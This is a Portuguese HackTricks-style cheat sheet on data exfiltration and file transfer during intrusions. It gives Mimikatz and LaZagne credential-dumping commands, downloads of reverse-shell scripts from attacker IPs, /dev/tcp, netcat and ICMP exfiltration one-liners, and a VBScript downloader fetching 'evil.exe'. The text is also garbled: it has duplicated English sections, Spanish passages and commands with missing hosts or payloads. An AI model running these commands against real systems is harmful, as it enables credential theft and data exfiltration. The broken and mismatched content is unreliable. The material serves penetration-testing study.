## Exfiltração
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
\ **Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## Copiar e Colar Base64 **Linux** ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` **Windows** # Exfil Windows Credentials ## Using Mimikatz Mimikatz is a tool that can be used to extract Windows credentials from memory. It can be used to extract passwords, hashes, and Kerberos tickets from memory. ### Dumping Credentials To dump credentials from memory, run the following command: ``` mimikatz # privilege::debug mimikatz # sekurlsa::logonPasswords full ``` This will dump all of the credentials from memory, including passwords, hashes, and Kerberos tickets. ### Dumping Hashes To dump hashes from memory, run the following command: ``` mimikatz # privilege::debug mimikatz # sekurlsa::hashes ``` This will dump all of the hashes from memory. ## Using LaZagne LaZagne is a tool that can be used to retrieve passwords stored on a Windows system. It can retrieve passwords from a variety of sources, including web browsers, email clients, and instant messaging programs. ### Dumping Credentials To dump credentials using LaZagne, run the following command: ``` laZagne.exe all ``` This will dump all of the credentials from the system. ## Using Empire Empire is a post-exploitation framework that can be used to exfiltrate Windows credentials. It can be used to dump passwords, hashes, and Kerberos tickets from memory. ### Dumping Credentials To dump credentials using Empire, run the following command: ``` powershell> Invoke-Mimikatz -DumpCreds ``` This will dump all of the credentials from memory, including passwords, hashes, and Kerberos tickets. ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` ## HTTP **Linux** ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` **Windows** # Exfil Windows Credentials ## Using Mimikatz Mimikatz is a tool that can be used to extract Windows credentials from memory. It can be used to extract passwords, hashes, and Kerberos tickets from memory. ### Dumping Credentials To dump credentials from memory, run the following command: ``` mimikatz # privilege::debug mimikatz # sekurlsa::logonPasswords full ``` This will dump all of the credentials from memory, including passwords, hashes, and Kerberos tickets. ### Dumping Hashes To dump hashes from memory, run the following command: ``` mimikatz # privilege::debug mimikatz # sekurlsa::hashes ``` This will dump all of the hashes from memory. ## Using LaZagne LaZagne is a tool that can be used to retrieve passwords stored on a local computer. It can retrieve passwords from a variety of sources, including web browsers, email clients, and instant messaging programs. ### Dumping Credentials To dump credentials using LaZagne, run the following command: ``` laZagne.exe all ``` This will dump all of the credentials from the local computer. ## Using Empire Empire is a post-exploitation framework that can be used to exfiltrate Windows credentials. It can be used to dump credentials from memory, as well as to perform other post-exploitation tasks. ### Dumping Credentials To dump credentials using Empire, run the following command: ``` powershell Import-Module .\PowerSploit.psd1 Invoke-Mimikatz -DumpCreds ``` This will dump all of the credentials from memory. ## Using Metasploit Metasploit is a penetration testing framework that can be used to exfiltrate Windows credentials. It can be used to dump credentials from memory, as well as to perform other post-exploitation tasks. ### Dumping Credentials To dump credentials using Metasploit, run the following command: ``` use post/windows/gather/credentials/gpp set SESSION run ``` This will dump the Group Policy Preferences (GPP) password from memory. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf #PS (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ### Upload de arquivos * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) * [**SimpleHttpServer imprimindo GET e POSTs (também cabeçalhos)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) * Módulo Python [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver python3 -m uploadserver # With basic auth: # python3 -m uploadserver --basic-auth hello:world # Send a file curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` ### **Servidor HTTPS** --- #### **Descrição** Um servidor HTTPS é um servidor web que utiliza o protocolo HTTPS para criptografar as comunicações entre o servidor e o cliente. Isso garante que as informações transmitidas sejam seguras e não possam ser interceptadas por terceiros. #### **Exfiltração** A exfiltração de dados de um servidor HTTPS pode ser mais difícil do que a de um servidor HTTP, pois as comunicações são criptografadas. No entanto, ainda é possível exfiltrar dados por meio de vulnerabilidades no servidor ou por meio de ataques de engenharia social. Algumas técnicas de exfiltração que podem ser usadas em um servidor HTTPS incluem: - **DNS Tunneling**: essa técnica envolve a criação de um túnel DNS para exfiltrar dados. O atacante envia os dados para um servidor DNS controlado por ele, que pode ser acessado de fora da rede. O servidor DNS, em seguida, retorna os dados para o atacante por meio de respostas DNS. - **Steganography**: essa técnica envolve a ocultação de dados em arquivos de imagem ou áudio. O atacante pode, por exemplo, ocultar dados em uma imagem em um site HTTPS e, em seguida, baixar a imagem de fora da rede. - **HTTP Header Injection**: essa técnica envolve a injeção de dados em cabeçalhos HTTP. O atacante pode, por exemplo, injetar dados em um cabeçalho HTTP em uma solicitação HTTPS e, em seguida, capturar a solicitação de fora da rede. #### **Prevenção** Para prevenir a exfiltração de dados de um servidor HTTPS, é importante manter o servidor atualizado e corrigir quaisquer vulnerabilidades conhecidas. Além disso, é importante educar os usuários sobre os riscos de engenharia social e implementar medidas de segurança, como autenticação de dois fatores e monitoramento de rede. ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ # generate server.xml with the following command: # openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes # run as follows: # python simple-https-server.py # then in your browser, visit: # https://localhost:443 ### PYTHON 2 import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() ### ### PYTHON3 from http.server import HTTPServer, BaseHTTPRequestHandler import ssl httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True) httpd.serve_forever() ### ### USING FLASK from flask import Flask, redirect, request from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): print(request.get_json()) return "OK" if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` ## FTP ### Servidor FTP (python) ```python #!/usr/bin/env python3 import socket import os def send_file(conn, filename): with open(filename, 'rb') as f: conn.sendall(f.read()) def handle_connection(conn, addr): print(f'[*] New connection from {addr[0]}:{addr[1]}') conn.sendall(b'Welcome to my FTP server!\n') while True: data = conn.recv(1024).decode().strip() if not data: break if data.startswith('GET '): filename = data.split()[1] if os.path.isfile(filename): conn.sendall(b'OK\n') send_file(conn, filename) else: conn.sendall(b'ERROR\n') else: conn.sendall(b'ERROR\n') conn.close() def main(): bind_ip = '0.0.0.0' bind_port = 21 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((bind_ip, bind_port)) s.listen(1) print(f'[*] Listening on {bind_ip}:{bind_port}') while True: conn, addr = s.accept() handle_connection(conn, addr) if __name__ == '__main__': main() ``` Este é um servidor FTP simples escrito em Python que permite que um cliente faça download de arquivos do servidor. O servidor escuta na porta 21 e aceita conexões de um único cliente por vez. Quando um cliente se conecta, o servidor envia uma mensagem de boas-vindas e aguarda comandos do cliente. O servidor suporta apenas o comando GET, que permite que o cliente faça download de um arquivo do servidor. Se o arquivo existir no servidor, o servidor envia o conteúdo do arquivo para o cliente. Se o arquivo não existir, o servidor envia uma mensagem de erro para o cliente. ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` ### Servidor FTP (NodeJS) #### Introdução O servidor FTP é uma das maneiras mais simples de exfiltrar dados de um ambiente comprometido. Neste caso, usaremos um servidor FTP escrito em NodeJS para receber os dados exfiltrados. #### Configuração Para configurar o servidor FTP, primeiro precisamos instalar o pacote `ftp-srv` do NodeJS: ``` npm install ftp-srv ``` Em seguida, podemos criar um arquivo `server.js` com o seguinte conteúdo: ```javascript const FtpSrv = require('ftp-srv'); const ftpServer = new FtpSrv({ url: 'ftp://127.0.0.1:21', pasv_url: 'ftp://127.0.0.1:3000', greeting: 'Welcome to my FTP server', anonymous: true, file_format: 'ls', }); ftpServer.on('login', ({connection, username, password}, resolve, reject) => { console.log(`User ${username} logged in`); resolve({root: './'}); }); ftpServer.listen() .then(() => { console.log('FTP server listening'); }); ``` Este arquivo cria um servidor FTP que escuta na porta 21 e usa a porta 3000 para conexões passivas. O servidor é configurado para permitir logins anônimos e usa o diretório atual como raiz para o usuário conectado. #### Uso Para usar o servidor FTP, basta conectar-se a ele usando um cliente FTP e fazer o upload dos dados que deseja exfiltrar. Os dados serão armazenados no diretório raiz do usuário conectado. ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` ### Servidor FTP (pure-ftp) #### Exfiltration #### Exfiltração Pure-FTP is a popular FTP server that can be used to exfiltrate data from a compromised system. O Pure-FTP é um servidor FTP popular que pode ser usado para exfiltrar dados de um sistema comprometido. To exfiltrate data using Pure-FTP, you will need to have a Pure-FTP server set up and running on a remote system that you control. Para exfiltrar dados usando o Pure-FTP, você precisará ter um servidor Pure-FTP configurado e em execução em um sistema remoto que você controle. Once you have the server set up, you can use a variety of FTP clients to connect to the server and transfer data. Depois de configurar o servidor, você pode usar uma variedade de clientes FTP para se conectar ao servidor e transferir dados. One popular FTP client is FileZilla, which is available for Windows, macOS, and Linux. Um cliente FTP popular é o FileZilla, que está disponível para Windows, macOS e Linux. To use FileZilla to exfiltrate data, you will need to configure it to connect to your Pure-FTP server. Para usar o FileZilla para exfiltrar dados, você precisará configurá-lo para se conectar ao seu servidor Pure-FTP. Once you are connected, you can navigate to the directory on the compromised system where the data you want to exfiltrate is located, and then transfer the data to the remote Pure-FTP server. Depois de conectado, você pode navegar até o diretório no sistema comprometido onde os dados que deseja exfiltrar estão localizados e, em seguida, transferir os dados para o servidor Pure-FTP remoto. ```bash apt-get update && apt-get install pure-ftp ``` ```bash #Run the following script to configure the FTP server #!/bin/bash groupadd ftpgroup useradd -g ftpgroup -d /dev/null -s /etc ftpuser pure-pwd useradd fusr -u ftpuser -d /ftphome pure-pw mkdb cd /etc/pure-ftpd/auth/ ln -s ../conf/PureDB 60pdb mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` ### Cliente **Windows** ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt echo USER anonymous >> ftp.txt echo anonymous >> ftp.txt echo bin >> ftp.txt echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` ## SMB Kali como servidor ### Exfiltración de archivos #### Usando smbclient `smbclient` es una herramienta de línea de comandos que permite interactuar con recursos compartidos de SMB/CIFS. Podemos usarlo para subir archivos a un recurso compartido remoto. ```bash smbclient //IP/SHARE -U username%password -c "put file.txt" ``` #### Usando smbmap `smbmap` es una herramienta de enumeración de recursos compartidos de SMB/CIFS. Podemos usarlo para listar los recursos compartidos y descargar archivos. ```bash smbmap -u username -p password -H IP -R sharename -A file.txt ``` #### Usando impacket `impacket` es una colección de herramientas de Python para interactuar con protocolos de red. Podemos usarlo para subir y descargar archivos. ```bash impacket-smbserver sharename /path/to/folder impacket-smbclient //IP/sharename -u username -p password ``` ### Exfiltración de datos #### Usando smbclient Podemos usar `smbclient` para descargar archivos de un recurso compartido remoto. ```bash smbclient //IP/SHARE -U username%password -c "get file.txt" ``` #### Usando smbget `smbget` es una herramienta de línea de comandos que permite descargar archivos de un recurso compartido de SMB/CIFS. ```bash smbget -U username -P password smb://IP/SHARE/file.txt ``` #### Usando impacket Podemos usar `impacket` para descargar archivos de un recurso compartido remoto. ```bash impacket-smbclient //IP/sharename -u username -p password smb: \> get file.txt ``` ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` Ou crie um compartilhamento smb **usando samba**: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] comment = Samba on Ubuntu path = /tmp/smb read only = no browsable = yes guest ok = Yes #Start samba service smbd restart ``` # Exfiltração de Dados do Windows ## Introdução A exfiltração de dados é o processo de roubar dados de um sistema comprometido e transferi-los para um sistema controlado pelo atacante. Existem várias técnicas que podem ser usadas para exfiltrar dados do Windows. ## Técnicas ### FTP O FTP é um protocolo de transferência de arquivos que pode ser usado para exfiltrar dados do Windows. O atacante pode configurar um servidor FTP em um sistema controlado por ele e, em seguida, usar um cliente FTP no sistema comprometido para transferir os dados. ### HTTP O HTTP é um protocolo de transferência de hipertexto que pode ser usado para exfiltrar dados do Windows. O atacante pode configurar um servidor HTTP em um sistema controlado por ele e, em seguida, usar um cliente HTTP no sistema comprometido para transferir os dados. ### DNS O DNS é um protocolo de resolução de nomes que pode ser usado para exfiltrar dados do Windows. O atacante pode configurar um servidor DNS em um sistema controlado por ele e, em seguida, usar um cliente DNS no sistema comprometido para transferir os dados. ### SMTP O SMTP é um protocolo de transferência de correio eletrônico que pode ser usado para exfiltrar dados do Windows. O atacante pode configurar um servidor SMTP em um sistema controlado por ele e, em seguida, usar um cliente SMTP no sistema comprometido para transferir os dados. ### SMB O SMB é um protocolo de compartilhamento de arquivos que pode ser usado para exfiltrar dados do Windows. O atacante pode configurar um servidor SMB em um sistema controlado por ele e, em seguida, usar um cliente SMB no sistema comprometido para transferir os dados. ## Conclusão Existem várias técnicas que podem ser usadas para exfiltrar dados do Windows. É importante que as organizações implementem medidas de segurança adequadas para proteger seus sistemas contra essas técnicas. ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` ## SCP O atacante precisa ter o SSHd em execução. ```bash scp @:/ ``` ## SSHFS Se a vítima tiver SSH, o atacante pode montar um diretório da vítima para o atacante. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` ## NC O comando `nc` (netcat) é uma ferramenta de rede que pode ser usada para transferir dados de um host para outro. É muito útil para exfiltrar dados de um servidor comprometido para um host controlado pelo atacante. ### Exemplo de uso Para exfiltrar um arquivo usando `nc`, primeiro inicie um servidor `nc` no host controlado pelo atacante: ``` nc -lvp 1234 > exfiltrated_file ``` Em seguida, no servidor comprometido, use o seguinte comando para enviar o arquivo para o host controlado pelo atacante: ``` cat file_to_exfiltrate | nc 1234 ``` O arquivo será transferido para o host controlado pelo atacante e salvo como `exfiltrated_file`. ### Observações - O comando `nc` pode ser encontrado em sistemas Linux e Windows. - O uso de `nc` pode ser detectado por firewalls e sistemas de detecção de intrusão. - O uso de `nc` pode ser considerado suspeito em ambientes corporativos e pode levar a investigações de segurança. ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` ## /dev/tcp ### Baixar arquivo da vítima ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` ### Enviar arquivo para a vítima ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` ## **ICMP** graças a **@BinaryShadow\_** ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done #This will 4bytes per ping packet (you could probably increase this until 16) ``` ```python from scapy.all import * #This is ippsec receiver created in the HTB machine Mischief def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 0: data = pkt[ICMP].load[-4:] #Read the 4bytes interesting print(f"{data.decode('utf-8')}", flush=True, end="") sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** Se você pode enviar dados para um servidor SMTP, você pode criar um servidor SMTP para receber os dados com python: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP Por padrão no XP e 2003 (em outros sistemas operacionais é necessário adicioná-lo explicitamente durante a instalação) No Kali, **inicie o servidor TFTP**: ```bash #I didn't get this options working and I prefer the python option mkdir /tftp atftpd --daemon --port 69 /tftp cp /path/tp/nc.exe /tftp ``` **Servidor TFTP em Python:** Este é um exemplo de um servidor TFTP simples escrito em Python. Ele pode ser usado para exfiltrar dados de uma rede comprometida para um servidor controlado pelo atacante. O servidor TFTP é executado em uma porta específica e aguarda a conexão de um cliente TFTP. Quando um cliente se conecta, o servidor envia o arquivo solicitado pelo cliente. Neste caso, o arquivo é um arquivo de texto simples, mas pode ser qualquer tipo de arquivo. ```python import socketserver class TFTPServer(socketserver.UDPServer): def __init__(self, server_address, RequestHandlerClass): socketserver.UDPServer.__init__(self, server_address, RequestHandlerClass) class TFTPRequestHandler(socketserver.BaseRequestHandler): def handle(self): data = self.request[0].strip() socket = self.request[1] print("{} wrote:".format(self.client_address[0])) print(data) socket.sendto(data.upper(), self.client_address) if __name__ == "__main__": HOST, PORT = "0.0.0.0", 69 server = TFTPServer((HOST, PORT), TFTPRequestHandler) server.serve_forever() ``` Para executar o servidor, basta salvar o código em um arquivo com a extensão `.py` e executá-lo com o comando `python nome_do_arquivo.py`. O servidor será executado na porta 69 e aguardará a conexão de um cliente TFTP. ```bash pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` No **vítima**, conecte-se ao servidor Kali: ```bash tftp -i get nc.exe ``` ## PHP Baixe um arquivo com um PHP oneliner: ```bash echo "" > down2.php ``` ## VBScript VBScript é uma linguagem de script da Microsoft que é usada para automatizar tarefas em sistemas Windows. É uma linguagem de script interpretada que é executada pelo Windows Script Host. VBScript é uma linguagem de programação fácil de aprender e é usada para criar scripts que podem ser usados para realizar várias tarefas, como manipulação de arquivos, interação com o usuário e acesso a bancos de dados. VBScript é frequentemente usado em ataques de phishing para executar malware em sistemas Windows. Os atacantes podem usar VBScript para baixar e executar arquivos maliciosos, roubar informações confidenciais e exfiltrar dados. Para evitar a detecção, os atacantes podem ofuscar o código VBScript usando técnicas como a codificação Base64. Os defensores podem detectar o uso de VBScript em ataques monitorando o tráfego de rede em busca de comunicações suspeitas, como o envio de dados para endereços IP desconhecidos. Eles também podem usar ferramentas de análise de código para identificar código VBScript malicioso e bloquear sua execução. ```bash Attacker> python -m SimpleHTTPServer 80 ``` **Vítima** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs ``` ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe Esta é uma técnica maluca que funciona em máquinas Windows de 32 bits. A ideia é usar o programa `debug.exe`. Ele é usado para inspecionar binários, como um depurador. Mas também pode reconstruí-los a partir de hex. Então, a ideia é que pegamos binários, como `netcat`. E então desmontamos em hex, colamos em um arquivo na máquina comprometida e, em seguida, montamos com `debug.exe`. `Debug.exe` só pode montar 64 kb. Então, precisamos usar arquivos menores que isso. Podemos usar o UPX para comprimi-lo ainda mais. Então, vamos fazer isso: ``` upx -9 nc.exe ``` Agora ele pesa apenas 29 kb. Perfeito. Então, agora vamos desmontá-lo: ``` wine exe2bat.exe nc.exe nc.txt ``` Agora, basta copiar e colar o texto em nosso shell do Windows. E ele criará automaticamente um arquivo chamado nc.exe ## DNS * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) \ **Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**! {% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).